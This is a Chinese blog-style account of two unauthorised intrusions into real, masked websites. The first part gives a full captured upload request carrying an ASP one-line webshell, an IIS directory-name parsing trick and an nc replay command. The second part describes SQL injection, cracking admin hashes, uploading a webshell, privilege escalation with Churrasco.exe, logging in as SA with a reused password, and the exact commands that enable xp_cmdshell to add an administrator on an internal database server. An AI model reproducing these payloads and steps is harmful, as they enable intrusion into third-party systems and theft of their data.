难道我最近真的是人品爆发了？竟然一个接一个全都搞定了，且各个都出乎我的意料之外。好了，不废话了，记录一下这次是如何抓包-》改包-》上

传-》拿到WEBSHELL的。
经过仔细分析，这个网站无论从主站还是分站都不存在任何注入漏洞，当然这种网站不用说使用的是MSSQL数据，也就谈不上找到ACCESS数据库下载了

，更没找到管理后台页。

那就注册一个用户进去看吧这里的注册一共可以选择3种用户类型：普通会员、讲师会员、机构会员。注册的时候网页上有提示哪个角色有什么样的权

限。3个我都注册了一次，分析得出普通会员与讲师会员都没可能性，机构会员可以上传培训资料，然而注册后需要人工审核，所以估计没戏了。
逛完他的网站再接着逛论坛，论坛采用的是DVBBS8.0版，至于是MSSQL还是ACCESS暂不知道，不过从感觉上来说，应该是ACCESS的数据库。BBS的管理

后台可以访问，默认数据库名被改，默认管理帐号及密码都登录失败。DVBBS8.0的远程注入漏洞也宣告失败。
至此，我觉得这站真的是无敌了（对我来说）。于是丢给别人去研究了，没想到没过2个小时，他就拿到WEBSHEL了，当然人家也没告诉我是怎么弄的

，因为我们不认识。我靠~搞笑啊，我没那么弱吧？怎么可能别人都能搞定我就不行呢？我是不是有啥没想到的？赶紧反省一下…
分析来分析去，我觉得问题一定还是出在机构会员那里，可是注册后还得24小时后人工审核，他不可能2个小时就搞定的呀…
注意观察了一下，有了一点小发现：某些页面所在的URL是类似这种格式的：
http://www.xxxx.com/xxx/*****/index.asp
其中*所代表的是一些很没有规律的字符，仔细分析之下发现这些字符就是注册时的用户名！O(∩_∩)O哈哈~有没有想到点什么呀？好先放着，我们后

面用。从这里我们也就知道了一些已经通过审核的机构名，那么我们猜一猜看有没有弱口令的，比如用户名和密码一样啊，密码是123456啊什么的。

经过多次尝试，最后终于被我发现了一个用户名与密码一样的。
登录进去之后，发现有两处可以上传文件，第一处是更改自己的企业LOGO，另一处是可以上传与课程相关的图片。第一处过滤的很严格，第二处经过

测试发现对上传文件进行处理的文件已经被删除了，这里我猜测是那个2个小时入侵进去的人所为。那么对我来说唯一的希望就寄托在第一处了，过滤

比较严格，那么就先传个正常的图片文件看看返回什么效果吧。上传成功后返回的路径是这样的：
UploadImg/***/20081010201.jpg
这里的*所代表的依旧是注册时的用户名！O(∩_∩)O哈哈~再结合上面的小发现，是不是更觉得有意思了？我们可以注册一个用户名后三位是“.asp”

的，然后传个图片上去，由于IIS的解析BUG，这个.asp用户名目录下的所有文件都被解析成asp并执行了。
可是刚注册的机构会员不是要审核吗？这不就又得等了吗？嗯，起初我也是这么想的，可是测试之后我发现只要注册了，无论是否已审核都会创建那

个目录。
好，思路已经清晰了，是时候该实践了。在上传LOGO那里右键查看原文件，搜索action发现它的值是这样的：
uppic.asp?picurl=pic&file_ad=UploadImg/****
这里的*就不需要我再解释了吧？试试将这里的用户名更改为neeke.asp并将URL补全，接着把这个页面保存成本地html，然后打开这个本地html页面上

传一个后缀改为jpg的asp后门，上传结果是失败！是不是要疯了？难道这就是理论与实践的差距？
接下来才是今日的主题，虽然不知道为什么会失败，不过也是意料之内的。重新上传一次（不是使用前面的本地html）并打开WSockExpert进行抓包。

抓到的数据包如下：

POST /upload/uppic.asp?picurl=pic&file_ad=UploadImg/**** HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-silverlight,

application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xxxxx.com/xxxx/upload/uppic.asp?picurl=pic&file_ad=UploadImg/****
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=—————————7d89c6100702
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: www.xxxxx.com
Content-Length: 356
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCBQDTRD=CBDAOFCDOKNKAFBGOJIELFBL; StatUserID=; geturl=%2Fbbs%2Findex%2Easp%3Fboardid%3D19; upNum=0;

cck_lasttime=1227791151328; cck_count=0; cnzz_a723913=148; vw=%3A21294148%3A56594595%3A24657327%3A74573309%3A50974716%3A50987662%

3A37122531%3A67808458%3A70586579%3A70604138%3A28852802%3A47119284%3A76191357%3A37126954%3A51284925%3A52364933%3A38661202%

3A74790164%3A70610751%3A72013662%3A73415389%3A76191358%3A49587472%3A43119978%3A-251370864%3A73388968%3A70611921%3A73384211%

3A32870242%3A37063863%3A32420673%3A53783557%3A72013663%3A65003880%3A70588081%3A66406723%3A57972621%3A73406321%3A60801952%

3A40826249%3A39695629%3A49578341%3A59386483%3A41111789%3A25224022%3A69210191%3A53796330%3A38456400%3A62172134%3A29259370%

3A36499102%3A46949182%3A32361261%3A31862738%3A79674658%3A34731608%3A102446092%3A36507283%3A81784150%3A86027646%3A81809181%

3A74781075%3A72012436%3A80383143%3A83227606%3A76186399%3A81784130%3A77581333%3A73399009%3A78982247%3A73385225%3A78982193%

3A88833998%3A87432179%3A74816111%3A; sin=-1; rtime=2; ltime=1227806311218; cnzz_eid=67318861-1227622346-; tab=4; Dvbbs=;

ystat_bc_809970=28764444891124193035; ystat_ss_809970=26_1227833988_1259315693

—————————–7d89c6100702
Content-Disposition: form-data; name="FileName"; filename="D:\WEBSHELL\yjh.jpg"
Content-Type: text/plain

<%
On Error Resume Next
execute request("a")
%>

—————————–7d89c6100702
Content-Disposition: form-data; name="Submit"

上传截图
—————————–7d89c6100702–

将上面的数据包中的****更改为neeke.asp并保存为txt到同nc在一个目录下（名字可任意,这里为neeke.txt）。接下来进入DOS，在nc所在的目录输入
nc -vv www.xxxxx.com 80<neeke.txt
稍等几秒就会返回数据提交结果。本次提交返回的结果如下图。

OK,搞定了！嘿嘿~~看来我以后还得更加细心的分析才是啊！有再牛X的技术，没有好的头脑，你也是笨牛一个。

还是第一次遇到数据库服务器与WEB服务器分离的情况，刚打开网站的时候觉得挺吓人的，因为觉得这样的大网站对我来说根本无懈可击，等搞定之后再回过头来看，还是觉得是那么的不可思议。
目标：www.xxxx-xxxxxx.com
绝大多数页面都是纯静态的，ASP的很少，不过既然有，那么就要检查一下是否存在注入。检查完所能找到的ASP页面，仅发现了一个注入点。
http://www.xxxx-xxxxxx.com/xxxx/show.asp?userid=107045&id=522

检测结果是MSSQL数据库，权限为DB_OWNER。看到这种情况，第一个想法就是列出网站目录，然后备份数据库LOG得WEBSHELL。经过尝试后失败，根本列不出目录来。
第二个想法，找出管理员信息表，然后查出管理员帐号及密码，登录网站后台寻找办法拿WEBSHELL。
结果顺利的从admin表中发现了37条记录，也就是说有37个管理员哇…头一次见这么多…列了16条我就不在列了，因为感觉已经够用了，O(∩_∩)O哈哈~

有个用户的密码是07ff7c1db094deb9dcf9ddf6bec9e605，在线破解失败。
其他用户的密码都是21218cca77804d2ba1922c33e0151105，破解后的密码是888888。
在网站首页顶部直接就有通往后台的链接。

使用用户名和密码登录结果却是失败，连换了几个帐号都是失败。难道数据库搞错了？数据表错了？好好想了想，这时突然看到登录页的TITLE写着“员工登录”，眼前一亮，一般公司里面都是有员工工号的，那么刚才的字段中有一列的名字是userid，我们若把它理解为员工工号和登录页的用户名会是什么样子？
按照这个思路重新尝试登录，毫无悬念的登录成功了。可是这里的后台并不是我所想想的，左边一棵权限树，右边用来展示操作。对各个模块的功能逐一浏览后，并没有发现任何可以获取WEBSHELL的方法。

OK，再想一想一个网站为什么要有这么多的管理员呢？这时我联想到了我前段时间做的ASP.NET[毕业设计CRM系统] ，当然是为了管理方便，且每个管理员所拥有的权限是不一样的。想清楚了我们就知道下一步该怎么走了。我们再逐一登录其他管理帐号看看。换了一个帐号登录后，后台所显示的能够操作的功能更多了。看来思路正确。

这次一眼就看中了资源中心管理这个栏目，为什么呢？想一想“资源管理”，那么肯定是会提供要上传或者下载的功能吧，当然这里也可以说是纯属瞎猜，O(∩_∩)O哈哈~。
打开之后又接着点了一个添加新资源，然后就打开了个如下图的页面。可以上传资源文件，没错吧？

通过这里直接成功上传了一个ASA文件，看样子是可以上传任何文件，可怕啊…
WEBSHELL已经拿到了，可以说已经算入侵完毕了，不过在查看数据库连接字符串的时候，我发现它的数据库在内网的另一台机子上。我还没搞过数据库与网站分离的，这次小试一把。于是自己手工上传了一个CMD.EXE，再次执行OK!不过问题又是不能执行添加管理的命令等等。再次放出Churrasco.exe，执行成功。

这台服务器开启了远程终端，所以也就顺利的登录到了服务器中。

好！接下来搞定数据库服务器。从连接字符串来看数据库服务器的局域网IP为192.168.10.9。用户名（非SA）和密码都比较复杂，一般我看到密码若比较复杂的话，那么其SA密码也有极大的几率是这个密码，因为密码复杂了不好记！偷懒的行为，O(∩_∩)O哈哈~
帐户使用SA，密码用查出来的密码，数据库选择master然后连接192.168.10.9上的数据库，结果当然是连接成功啦！（不知道这算不算是社工？）也证明管理员偷懒了！O(∩_∩)O哈哈~
好，接着执行存储过程提权，exec xp_cmdshell ‘这里写DOS命令’

啊哦…看看提示什么了，从这个提示来看，数据库不是SQL Server 2000而是SQL Server 2005，SQL Server 2005默认情况下是不允许调用xp_cmdshell的，需要手工开启。恰好最近一直在用SQL Server 2005，某天没事干的时候又翻了翻相关的文档，这下正好用到了。
执行EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;即可开启。
启用之后又顺利的通过xp_cmdshell添加了超级管理员。进到刚才刚才拿到的WEB服务器，然后再用终端连接内网的192.168.10.9这台机子，再次登录成功！

至此，入侵结束。WEB服务器与数据库服务器均已被控制。又是一篇没有技术含量的入侵过程，不过还是那句话，思路决定出路。